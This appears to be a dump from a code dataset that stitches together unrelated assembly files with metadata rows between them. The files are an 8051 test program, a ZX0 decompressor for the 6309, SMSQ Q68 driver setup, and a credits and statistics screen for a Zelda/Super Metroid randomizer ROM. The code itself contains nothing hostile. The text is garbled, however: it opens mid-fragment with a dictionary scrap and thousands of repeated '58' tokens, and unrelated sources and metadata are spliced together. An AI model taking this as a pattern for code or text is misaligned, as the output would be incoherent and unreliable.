16, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
39.764706
2,999
0.653517
6bf13ac359a5a6ed623734fcfcc7f1d3c1c15acc
137
asm
Assembly
dataToTestOn/asm/4/prog03.asm
Epacik/8051-ASM-Plugin
3e2cf55c82733d66198bd41a68f8363c0129043b
[ "MIT" ]
1
2020-11-10T18:42:46.000Z
2020-11-10T18:42:46.000Z
dataToTestOn/asm/4/prog03.asm
Epacik/8051-ASM-Plugin
3e2cf55c82733d66198bd41a68f8363c0129043b
[ "MIT" ]
null
null
null
dataToTestOn/asm/4/prog03.asm
Epacik/8051-ASM-Plugin
3e2cf55c82733d66198bd41a68f8363c0129043b
[ "MIT" ]
null
null
null
LJMP START ORG 100H START: CALL LCD_CLR KLAWISZ: CALL WAIT_KEY RRC A CPL C MOV P1.7, C SJMP KLAWISZ
13.7
18
0.562044
82061411ebec237ca42cd42caeed7f11b9699d3b
4,288
asm
Assembly
6309/zx0_6309_mega.asm
nowhereman999/zx0-6x09
6c9053d19057ef1a9a3c5c2fabcea5911e450dac
[ "Zlib" ]
1
2021-10-02T18:33:50.000Z
2021-10-02T18:33:50.000Z
6309/zx0_6309_mega.asm
nowhereman999/zx0-6x09
6c9053d19057ef1a9a3c5c2fabcea5911e450dac
[ "Zlib" ]
null
null
null
6309/zx0_6309_mega.asm
nowhereman999/zx0-6x09
6c9053d19057ef1a9a3c5c2fabcea5911e450dac
[ "Zlib" ]
null
null
null
; zx0_6309_mega.asm - ZX0 decompressor for H6309 - 149 bytes ; ; Copyright (c) 2021 Doug Masten ; ZX0 compression (c) 2021 Einar Saukas, https://github.com/einar-saukas/ZX0 ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software for any purpose, ; including commercial applications, and to alter it and redistribute it ; freely, subject to the following restrictions: ; ; 1. The origin of this software must not be misrepresented; you must not ; claim that you wrote the original software. If you use this software ; in a product, an acknowledgment in the product documentation would be ; appreciated but is not required. ; 2. Altered source versions must be plainly marked as such, and must not be ; misrepresented as being the original software. ; 3. This notice may not be removed or altered from any source distribution. ; rotate next bit into elias value zx0_elias_rotate macro lsla ; get next bit rolw ; rotate bit into elias value lsla ; get next bit endm ; only get one bit from stream zx0_get_1bit macro lsla ; get next bit bne done@ ; is bit stream empty? no, branch lda ,x+ ; load another group of 8 bits rola ; get next bit done@ equ * endm ; get elias value zx0_get_elias macro bcs done@ loop@ zx0_elias_rotate bcc loop@ ; loop until done bne done@ ; is bit stream empty? no, branch bsr zx0_reload ; process rest of elias until done done@ equ * endm ;------------------------------------------------------------------------------ ; Function : zx0_decompress ; Entry : Reg X = start of compressed data ; : Reg U = start of decompression buffer ; Exit : Reg X = end of compressed data + 1 ; : Reg U = end of decompression buffer + 1 ; Destroys : Regs D, V, W, Y ; Description : Decompress ZX0 data ;------------------------------------------------------------------------------ zx0_decompress ldq #$ffff0001 ; init offset = -1 and elias = 1 tfr d,v ; preserve offset lda #$80 ; init bit stream bra zx0_literals ; 1 - copy from new offset (repeat N bytes from new offset) zx0_new_offset zx0_get_1bit zx0_get_elias comf incf beq zx0_rts tfr f,e ldf ,x+ rorw tfr w,v ldw #1 ; set elias = 1 zx0_get_elias incw zx0_copy tfr u,y addr v,y tfm y+,u+ ; copy match incw ; set elias = 1 lsla bcs zx0_new_offset ; 0 - literal (copy next N bytes) zx0_literals zx0_get_1bit zx0_get_elias tfm x+,u+ ; copy literals incw ; set elias = 1 lsla ; copy from last offset or new offset? bcs zx0_new_offset ; 0 - copy from last offset (repeat N bytes from last offset) zx0_get_1bit zx0_get_elias bra zx0_copy ; interlaced elias gamma coding loop@ zx0_elias_rotate zx0_reload lda ,x+ ; load another group of 8 bits rola bcs zx0_rts zx0_elias_rotate bcs zx0_rts zx0_elias_rotate bcs zx0_rts zx0_elias_rotate bcc loop@ zx0_rts rts
37.946903
79
0.485541
afd49ad7f47ef0bf6d1c657435c923cff4c037dd
2,745
asm
Assembly
smsq/q68/driver/most.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/q68/driver/most.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/q68/driver/most.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; base area SMSQ Q68 Drivers 0.00 (C) W. Lenerz 2016 ; 2020-03-27 1.01 check whether kbd read via interrutps is possible section header xref smsq_end header_base dc.l gl_most-header_base ; length of header dc.l 0 ; module length unknown dc.l smsq_end-gl_most ; loaded length dc.l 0 ; checksum dc.l 0 ; always select dc.b 1 ; 1 level down dc.b 0 dc.w smsq_name-* smsq_name dc.w 17,'SMSQ Q68 Drivers ' dc.l ' ' dc.w $200a section base xref iob_smsq ; SMSQ IOB bits xref q68_int2 xref q68_int2h xref kbd_initiq68 xref kbd_initi xref kbd_intr xref mse_init xref dev_init xref nul_init xref pipe_init xref rd_init xref iob_init xref history_init xref ssss_init xref q68_spp_init xref cpy_mmod include 'dev8_keys_qlv' include 'dev8_keys_q68' include 'dev8_keys_sys' include 'dev8_keys_con' include 'dev8_keys_psf' include 'dev8_keys_qlhw' include 'dev8_keys_qdos_sms' include 'dev8_smsq_smsq_base_keys' include 'dev8_smsq_smsq_config_keys' include 'dev8_smsq_gold_keys' include 'dev8_mac_assert' include 'dev8_keys_68000' gl_most bra.l start xdef iou_dirshr iou_dirshr dc.w 0 ; shared directories supported (RAM disk) section init start jsr ssss_init jsr dev_init jsr nul_init jsr pipe_init jsr rd_init jsr iob_init jsr history_init ; now the interrupt handlers, try to order them so that the one that will ; probably called the most (mouse, as it generates several interrupts per ; move) is called first. This means that it should be linked in last. jsr q68_spp_init ; serial port, will be last interrupts called st kbd_status ; try to use interrupts for keyboard move.b kbd_status,d0 btst #7,d0 ; can I use interrupts for keyboard? beq.s no_intr ; ... no jsr kbd_initi ; ... yes, so generic smsq kbd queue poll jsr kbd_intr ; and set up kbd read via interrupt bra.s common no_intr jsr kbd_initiq68 ; both kbd fetch and read queue via poll common jsr mse_init sys_init ; When we have linked in the interrupt servers, we can enable the interrupts moveq #sms.xtop,d0 trap #do.sms2 clr.w psf_sr(a5) ; we can clear interrupts on return mmreg reg d1/a1/a2 new movem.l mmreg,-(a7) lea q68_int2h,a0 jsr cpy_mmod lea exv_i2,a5 move.l 4(a0),(a5) ; set interrupt level 2 routine address movem.l (a7)+,mmreg poll lea hw_poll,a0 ; set hardware polling routine lea sms.hpoll,a5 ; and tidy up move.l a0,(a5) rts ;+++ ; Q68 SMSQ polling interrupt server operating off the frame interrupt. ; Clears the frame interupt (and, implicitly, the interface interrupt). ; See SHD_POLL. ;--- hw_poll moveq #pc.intrf,d7 or.b sys_qlir(a6),d7 ; Im' not sure this makes sense for Q68 move.b d7,pc_intr ; clear offending interrupt rts end
22.68595
76
0.742805
5ef9b48b34b79ea6cea5bfaacc6ee79a4b944ef2
35,417
asm
Assembly
src/credits.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
31
2018-05-03T06:43:23.000Z
2021-07-16T13:17:01.000Z
src/credits.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
13
2018-05-08T20:15:54.000Z
2022-01-20T21:28:53.000Z
src/credits.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
26
2018-05-04T12:25:41.000Z
2022-03-23T20:27:57.000Z
org $ff0000 namespace "credits" !BLUE = "table data/tables/blue.tbl,rtl" !WHITE = "table data/tables/white.tbl,rtl" !YELLOW = "table data/tables/yellow.tbl,rtl" !PURPLE = "table data/tables/purple.tbl,rtl" !ORANGE = "table data/tables/orange.tbl,rtl" !GREEN = "table data/tables/green.tbl,rtl" !CYAN = "table data/tables/cyan.tbl,rtl" !PINK = "table data/tables/pink.tbl,rtl" !BIG = "table data/tables/big.tbl,rtl" !OFF = "cleartable" !CREDITS_SPEED = $40 !CREDITS_SPEED_COUNTER = $42 !CREDITS_UPDATE_COUNTER = $44 !CREDITS_UPDATE_FLAG = $46 !CREDITS_MODE = $48 !CREDITS_Y = $20 !CREDITS_ADDR = $24 !CREDITS_VRAM_ADDR = $28 !CREDITS_NMI_DONE = $0e !CREDITS_BG = $30 !CREDITS_BG_MODE = $32 !CREDITS_BG_COUNTER = $34 !CREDITS_BG_UPDATE = $36 !CREDITS_BG_PAL = $7ef000 !CREDITS_BG_DELAY = $38 !CREDITS_STREAM_SKIP = $b4 !CREDITS_STREAM_WAIT = $b6 init: ; Set up a consistent SNES state sei %ai16() ldx #$1fff txs ; Set data bank register to bank 00 pea $0000 plb : plb ; Direct page to 2100 for HW regs lda #$2100 tcd %a8() ; Disable NMI and H-DMA lda #$00 sta $4200 sta $420c ; Turn on forced blanking lda #$8f sta $00 lda #$01 sta $420d ; enable FastROM ; Set "game" to credits so we can have our own NMI routine lda #$11 sta !SRAM_CURRENT_GAME ; Clear all PPU registers ldx #$0001 - ; loop over ppu registers $2101-$2133 stz $00,x ; write 0 to direct page ($2100) + x stz $00,x ; some registers need to be written twice inx cpx #$0034 ; while x < $33 ($2133) bne - ; Restore zero page %ai16() lda #$0000 tcd ; Start SPC song jsl playmusic ; Load credits fonts and palettes into VRAM/CGRAM %ai16() jsr load_graphics jsr load_tilemap ; Write stats to tilemap jsr write_stats ; Blank out background palette lda #$0000 ldx #$0000 - sta !CREDITS_BG_PAL,x inx : inx cpx #$0020 bne - jsr write_bg_pal %a8() ; Set BG mode 1 lda #$01 sta $2105 ; Set BG1 screen base to start of VRAM lda #$02 sta $2107 ; Set BG2 screen base to 0x1000 lda #$08 sta $2108 ; Set BG1&2 tilemap base to 0xA000 lda #$35 sta $210b lda #$03 sta $212c lda #$02 sta $212d ; Disable forced blanking lda #$0f sta $2100 rep #$30 lda #$0000 sta !CREDITS_Y sta !CREDITS_VRAM_ADDR sta !CREDITS_BG sta !CREDITS_BG_MODE sta !CREDITS_BG_DELAY sta !CREDITS_MODE lda #$001F sta !CREDITS_BG_COUNTER lda #$0003 sta !CREDITS_SPEED sta !CREDITS_SPEED_COUNTER lda #$0000 sta !CREDITS_UPDATE_FLAG lda #$0040 sta !CREDITS_UPDATE_COUNTER ; Setup pointer to next credits row to load lda #$0000 clc adc #$0800 sta !CREDITS_ADDR lda #$007f sta !CREDITS_ADDR+2 ; %a16() ; lda #$0001 ; sta !CREDITS_STREAM_SKIP ; lda #$0030 ; sta !CREDITS_STREAM_WAIT ; jsl stream_upload %a8() ; Turn NMI back on lda #$80 sta $4200 .loop ; Increase scroll register every "CREDITS_SPEED" amount of frames rep #$30 lda !CREDITS_MODE bne .scrollend lda !CREDITS_SPEED_COUNTER dec a bne + dec !CREDITS_UPDATE_COUNTER inc !CREDITS_Y lda !CREDITS_SPEED + sta !CREDITS_SPEED_COUNTER ; Check if we need to update tilemap data lda !CREDITS_UPDATE_COUNTER bne + lda #$0010 sta !CREDITS_UPDATE_COUNTER ; Set DMA parameters for NMI DMA copy lda !CREDITS_ADDR : sta $d0 lda !CREDITS_ADDR+2 : sta $d2 lda !CREDITS_VRAM_ADDR : sta $d4 lda #$0080 : sta $d6 ; Tell the NMI routine to do a DMA transfer lda #$0001 sta !CREDITS_UPDATE_FLAG lda !CREDITS_ADDR clc : adc #$0080 sta !CREDITS_ADDR lda !CREDITS_VRAM_ADDR clc : adc #$0040 cmp #$0800 bne ++ lda #$0000 ++ sta !CREDITS_VRAM_ADDR + .scrollend lda !CREDITS_BG_DELAY dec a bmi + sta !CREDITS_BG_DELAY jmp .endbg + ; Credits BG LDA !CREDITS_BG_MODE cmp #$0000 beq .fadein cmp #$0001 beq .show cmp #$0002 beq .fadeout cmp #$0003 beq .switch jmp .endbg .fadein lda !CREDITS_BG_COUNTER sta $04 lda !CREDITS_BG bne + lda #samus_pal bra ++ + lda #triforce_pal ++ sta $02 jsr write_faded_pal lda !CREDITS_BG_COUNTER dec a bpl + lda #$0001 sta !CREDITS_BG_MODE lda #$0200 + sta !CREDITS_BG_COUNTER lda #$0001 sta !CREDITS_BG_UPDATE lda #$0004 sta !CREDITS_BG_DELAY jmp .endbg .show lda !CREDITS_BG_COUNTER dec a bne + lda #$0002 sta !CREDITS_BG_MODE lda #$0000 + sta !CREDITS_BG_COUNTER jmp .endbg .fadeout lda !CREDITS_BG_COUNTER sta $04 lda !CREDITS_BG bne + lda #samus_pal bra ++ + lda #triforce_pal ++ sta $02 jsr write_faded_pal lda !CREDITS_BG_COUNTER inc a cmp #$0020 bne + lda #$0003 sta !CREDITS_BG_MODE lda #$0000 + sta !CREDITS_BG_COUNTER lda #$0001 sta !CREDITS_BG_UPDATE lda #$0004 sta !CREDITS_BG_DELAY jmp .endbg .switch lda !CREDITS_BG bne + lda #$0001 sta !CREDITS_BG bra ++ + lda #$0000 sta !CREDITS_BG ++ lda #$0002 sta !CREDITS_BG_UPDATE jmp .endbg .endbg ldx #$0000 phx - lda.l events,x beq .endevents cmp !CREDITS_ADDR bne .next_event lda.l events+2,x ; Load command cmp #$0001 beq .adjust_speed cmp #$000f beq .stop cmp #$0010 beq .check_config bra .next_event .adjust_speed lda.l events+4,x sta !CREDITS_SPEED bra .next_event .stop lda #$000f sta !CREDITS_MODE bra .next_event .check_config ; Load config flag offset and check it lda.l events+4, x : phx : tax lda.l config_flags&$ff0000, x : plx cmp #$0000 bne .next_event ; If it's zero, skip to the next part as defined in the event lda.l events+6, x sta !CREDITS_ADDR bra .next_event .next_event plx inx phx txa : asl #3 : tax bra - .endevents plx ; Wait for NMI lda #$0000 sta !CREDITS_NMI_DONE - lda !CREDITS_NMI_DONE beq - jmp .loop ; Credits NMI routine nmi: pha : phx : phy : php %a8() lda !CREDITS_Y sta $210e lda !CREDITS_Y+1 sta $210e %ai16() lda !CREDITS_UPDATE_FLAG beq + jsr write_vram_zp lda #$0000 sta !CREDITS_UPDATE_FLAG + lda !CREDITS_BG_UPDATE cmp #$0001 beq .writepal cmp #$0002 beq .switchbg bra .bgend .writepal jsr write_bg_pal bra .bgend .switchbg lda !CREDITS_BG bne + %a8() lda #$08 sta $2108 lda #$35 sta $210b %a16() bra ++ + %a8() lda #$10 sta $2108 lda #$75 sta $210b %a16() ++ lda #$0000 sta !CREDITS_BG_MODE lda #$001f sta !CREDITS_BG_COUNTER .bgend rep #$30 lda #$0001 sta !CREDITS_NMI_DONE ; lda !CREDITS_STREAM_WAIT ; beq + ; dec !CREDITS_STREAM_WAIT ; bra .nmiend ; + ; jsl stream_samples .nmiend plp : ply : plx : pla rti load_graphics: pha : phx : phy : php %ai16() jsr clear_vram jsr write_vram : dl font_data : dw #$5000 : dw #$2000 ; Copy font data to VRAM jsr write_vram : dl tilemap_data : dw #$0400 : dw #$0800 ; Copy first screen of credits tiles to VRAM jsr write_vram : dl samus_gfx : dw #$6000 : dw #$2000 ; Copy samus_gfx to VRAM jsr write_vram : dl samus_map : dw #$0800 : dw #$0800 ; Copy samus_map to VRAM jsr write_vram : dl triforce_gfx : dw #$7000 : dw #$1000 ; Copy triforce_gfx to VRAM jsr write_vram : dl triforce_map : dw #$1000 : dw #$0800 ; Copy trifoce_map to VRAM %a8() ldx #$0000 lda #$00 sta $2121 - lda.l cgram_data,x sta $2122 lda.l cgram_data+1,x sta $2122 inx : inx cpx #$0200 bne - plp : ply : plx : pla rts write_bg_pal: pha : phx : phy : php %a8() ldx #$0000 lda #$30 sta $2121 - lda.l !CREDITS_BG_PAL,x sta $2122 lda.l !CREDITS_BG_PAL+1,x sta $2122 inx : inx cpx #$0020 bne - plp : ply : plx : pla rts load_tilemap: pha : phx : phy : php %ai16() jsr write_wram : dl tilemap_data : dw #$0000 : dw #$8000 ; Copy tilemap data to 7f0000 plp : ply : plx : pla rts clear_vram: rep #$30 lda #$0080 sta $2115 lda #$0000 sta $2116 lda #$007f ldx #$0000 - sta $2118 inx : inx cpx #$1000 bne - rts write_vram: ; Get a pointer to the caller return address rep #$30 lda #$00ff sta $05 lda $01,s sta $03 clc adc #$0007 ; Realign return address sta $01,s ; Set up DMA transfer ldy #$0001 lda [$03],y ; Source address sta $4302 iny iny lda [$03],y ; Source bank sta $4304 iny lda [$03],y ; Target VRAM address sta $2116 iny iny lda [$03],y ; Transfer size sta $4305 sep #$20 lda #$80 sta $2115 lda #$18 sta $4301 lda #$01 sta $4300 sta $420b rep #$30 rts write_vram_zp: rep #$30 lda $d0 sta $4302 lda $d2 sta $4304 lda $d4 sta $2116 lda $d6 sta $4305 sep #$20 lda #$80 sta $2115 lda #$18 sta $4301 lda #$01 sta $4300 sta $420b rep #$30 rts write_wram: ; Get a pointer to the caller return address rep #$30 lda #$00ff sta $05 lda $01,s sta $03 clc adc #$0007 ; Realign return address sta $01,s ; Set up DMA transfer ldy #$0001 lda [$03],y ; Source address sta $4302 iny iny lda [$03],y ; Source bank sta $4304 iny lda [$03],y ; Target WRAM address sta $2181 lda #$0001 sta $2183 iny iny lda [$03],y ; Transfer size sta $4305 sep #$20 lda #$80 sta $4301 lda #$00 sta $4300 lda #$01 sta $420b rep #$30 rts ; Palette address in $02, fade in $04 write_faded_pal: pha : phx : phy : php %ai16() ldx $02 ldy #$0000 - ; red component lda $ff0000,x and #$001f sec sbc $04 bpl + lda #$0000 + sta $06 ; green component lda $ff0000,x lsr #5 and #$001f sec sbc $04 bpl + lda #$0000 + asl #5 ora $06 sta $06 ; blue component lda $ff0000,x lsr #10 and #$001f sec sbc $04 bpl + lda #$0000 + asl #10 ora $06 sta $06 lda $06 phx tyx sta !CREDITS_BG_PAL,x plx iny : iny inx : inx cpy #$0020 bne - plp : ply : plx : pla rts draw_full_time: phx phb pea $7f7f : plb : plb tax lda $0000,x sta $16 lda $0002,x sta $14 lda #$003c sta $12 lda #$ffff sta $1a jsr div32 ; frames in $14, rest in $16 iny : iny : iny : iny : iny : iny ; Increment Y three positions forward to write the last value lda $14 jsr draw_two tya sec sbc #$0010 tay ; Skip back 8 characters to draw the top three things lda $16 jsr draw_time plb plx rts ; Draw time as xx:yy:zz draw_time: phx phb dey : dey : dey : dey : dey : dey ; Decrement Y by 3 characters so the time count fits pea $7f7f : plb : plb sta $004204 sep #$20 lda #$ff sta $1a lda #$3c sta $004206 pha : pla : pha : pla : rep #$20 lda $004216 ; Seconds or Frames sta $12 lda $004214 ; First two groups (hours/minutes or minutes/seconds) sta $004204 sep #$20 lda #$3c sta $004206 pha : pla : pha : pla : rep #$20 lda $004216 sta $14 lda $004214 ; First group (hours or minutes) jsr draw_two iny : iny ; Skip past separator lda $14 ; Second group (minutes or seconds) jsr draw_two iny : iny lda $12 ; Last group (seconds or frames) jsr draw_two plb plx rts ; Draw 5-digit value to credits tilemap ; A = number to draw, Y = row address draw_value: phx phb pea $7f7f : plb : plb sta $004204 lda #$0000 sta $1a ; Leading zeroes flag sep #$20 lda #$64 sta $004206 pha : pla : pha : pla : rep #$20 lda $004216 ; Last two digits sta $12 lda $004214 ; Top three digits jsr draw_three lda $12 jsr draw_two plb plx rts draw_three: sta $004204 sep #$20 lda #$64 sta $004206 pha : pla : pha : pla : rep #$20 lda $004214 ; Hundreds asl tax cmp $1a beq + lda.l numbers_top,x sta $0034,y lda.l numbers_bot,x sta $0074,y dec $1a + iny : iny ; Next number lda $004216 draw_two: sta $004204 sep #$20 lda #$0a sta $004206 pha : pla : pha : pla : rep #$20 lda $004214 asl tax cmp $1a beq + lda.l numbers_top,x sta $0034,y lda.l numbers_bot,x sta $0074,y dec $1a + lda $004216 asl tax cmp $1a beq + lda.l numbers_top,x sta $0036,y lda.l numbers_bot,x sta $0076,y dec $1a + iny : iny : iny : iny rts div32: phy phx php rep #$30 sep #$10 sec lda $14 sbc $12 bcs uoflo ldx #$11 rep #$10 ushftl: rol $16 dex beq umend rol $14 lda #$0000 rol sta $18 sec lda $14 sbc $12 tay lda $18 sbc #$0000 bcc ushftl sty $14 bra ushftl uoflo: lda #$ffff sta $16 sta $14 umend: plp plx ply rts write_stats: pha : phx : phy : php : phb %ai16() pea $ffff plb : plb jsl load_stats ; Load SM stats from SRAM lda $a0643e ; Create sum of total time clc adc $7ffc00 sta $7ffc3c lda $a06440 adc $7ffc02 sta $7ffc3e lda $a06423 ; Sum collected items and #$00ff clc adc $7ffc3a sta $7ffc3a ldx #$0000 ldy #$0000 .loop tya : asl #3 : tax lda stats,x bne + jmp .end + lda stats+2,x cmp #$0000 beq .sm_stat cmp #$0001 beq .alttp_stat jmp .continue .sm_stat lda stats+6,x ; SM stat type cmp #$0001 beq .sm_number cmp #$0002 beq .sm_time cmp #$0003 beq .sm_fulltime jmp .continue .sm_number lda stats+4,x ; SM stat number jsl load_stat pha lda stats,x tyx tay pla jsr draw_value txy jmp .continue .sm_time ; Load statistic lda stats+4,x jsl load_stat pha ; Load row address lda stats,x tyx tay pla jsr draw_time txy jmp .continue .sm_fulltime lda stats+4,x ; Get stat id asl clc adc #$fc00 ; Get pointer to value instead of actual value pha ; Load row address lda stats,x tyx tay pla jsr draw_full_time txy jmp .continue .alttp_stat lda stats+6,x ; ALTTP stat type cmp #$0001 beq .alttp_number cmp #$0003 beq .alttp_fulltime cmp #$0000 bne .alttp_shiftnumber jmp .continue .alttp_number lda stats+4,x ; ALTTP stat address phx tax lda $a06000,x ; Load value from ALTTP SRAM and #$00ff plx phy pha lda stats,x ; Load tilemap address tay pla jsr draw_value ply jmp .continue .alttp_fulltime lda stats+4,x phx tax lda $a06000,x sta $7ffcfc lda $a06002,x sta $7ffcfe plx lda stats,x phy tay lda #$fcfc jsr draw_full_time ply jmp .continue .alttp_shiftnumber lda stats+6,x ; Load bitshift mask sta $04 lda stats+4,x ; ALTTP stat address phx tax lda $a06000,x ; Load value from ALTTP SRAM sta $02 jsr alttp_shift_stat plx phy pha lda stats,x ; Load tilemap address tay pla jsr draw_value ply jmp .continue .continue iny jmp .loop .end plb : plp : ply : plx : pla rts alttp_shift_stat: phx lda $04 and #$ff00 xba tax ; number of shifts in X lda $02 and #$00ff - cpx #$0000 beq + lsr dex jmp - + sta $02 lda $04 and #$00ff sta $04 lda $02 and $04 plx rts events: ; tilemap pointer location cmd val1 val2 dw tilemap_data_randomizer_staff+$0800, $0001, $0004, $0000 dw tilemap_data_stop+$0800, $000f, $0000, $0000 dw tilemap_data_alttp_sprite_credits, $0010, config_alttp_sprite, tilemap_data_sm_sprite_credits dw tilemap_data_sm_sprite_credits, $0010, config_sm_sprite, tilemap_data_end_sprite_credits dw $0000 stats: ; tilemap pointer location type addr value dw tilemap_data_door_transitions, $0000, $0002, $0001 dw tilemap_data_time_in_doors, $0000, $0003, $0003 dw tilemap_data_time_aligning_doors, $0000, $0005, $0002 dw tilemap_data_time_in_crateria, $0000, $0007, $0003 dw tilemap_data_time_in_brinstar, $0000, $0009, $0003 dw tilemap_data_time_in_norfair, $0000, $000b, $0003 dw tilemap_data_time_in_wreckedship, $0000, $000d, $0003 dw tilemap_data_time_in_maridia, $0000, $000f, $0003 dw tilemap_data_time_in_tourian, $0000, $0011, $0003 dw tilemap_data_charged_shots, $0000, $0014, $0001 dw tilemap_data_sbas, $0000, $0015, $0001 dw tilemap_data_missiles, $0000, $0016, $0001 dw tilemap_data_supermissiles, $0000, $0017, $0001 dw tilemap_data_powerbombs, $0000, $0018, $0001 dw tilemap_data_bombs, $0000, $001a, $0001 dw tilemap_data_alttp_first_sword, $0001, $0458, $0003 dw tilemap_data_alttp_pegasus_boots, $0001, $045c, $0003 dw tilemap_data_alttp_flute, $0001, $0460, $0003 dw tilemap_data_alttp_mirror, $0001, $0464, $0003 dw tilemap_data_alttp_swordless, $0001, $0452, $040f dw tilemap_data_alttp_fighter, $0001, $0425, $040f dw tilemap_data_alttp_master, $0001, $0425, $000f dw tilemap_data_alttp_tempered, $0001, $0426, $040f dw tilemap_data_alttp_gold, $0001, $0426, $000f dw tilemap_data_alttp_gtbigkey, $0001, $042a, $001f dw tilemap_data_alttp_bonks, $0001, $0420, $0001 dw tilemap_data_alttp_savequits, $0001, $042d, $0001 dw tilemap_data_alttp_deaths, $0001, $0449, $0001 dw tilemap_data_alttp_faerierevivals, $0001, $0453, $0001 dw tilemap_data_alttp_menutime, $0001, $0444, $0003 dw tilemap_data_sm_transitions, $0000, $001b, $0001 dw tilemap_data_alttp_transitions, $0000, $001c, $0001 dw tilemap_data_alttp_total_time, $0001, $043e, $0003 dw tilemap_data_sm_total_time, $0000, $0000, $0003 dw tilemap_data_total_time, $0000, $001e, $0003 dw tilemap_data_collection_rate, $0000, $001d, $0001 dw $0000 font_data: incbin "data/credits-gfx.bin" cgram_data: incbin "data/credits-cgram.bin" samus_gfx: incbin "data/credits-samus-gfx.bin" samus_map: incbin "data/credits-samus-map.bin" samus_pal: db $00, $00, $00, $14, $AA, $15, $00, $00, $80, $5B, $01, $25, $A2, $14, $8D, $56, $C7, $3D, $B8, $14, $40, $18, $40, $31, $42, $1C, $A0, $24, $6D, $14, $05, $14 triforce_pal: db $00, $00, $9C, $03, $C6, $00, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63, $18, $63 numbers_top: dw $0060, $0061, $0062, $0063, $0064, $0065, $0066, $0067, $0068, $0069, $006a, $006b, $006c, $006d, $006e, $006f numbers_bot: dw $0070, $0071, $0072, $0073, $0074, $0075, $0076, $0077, $0078, $0079, $007a, $007b, $007c, $007d, $007e, $007f warnpc $ff8000 org $fe0000 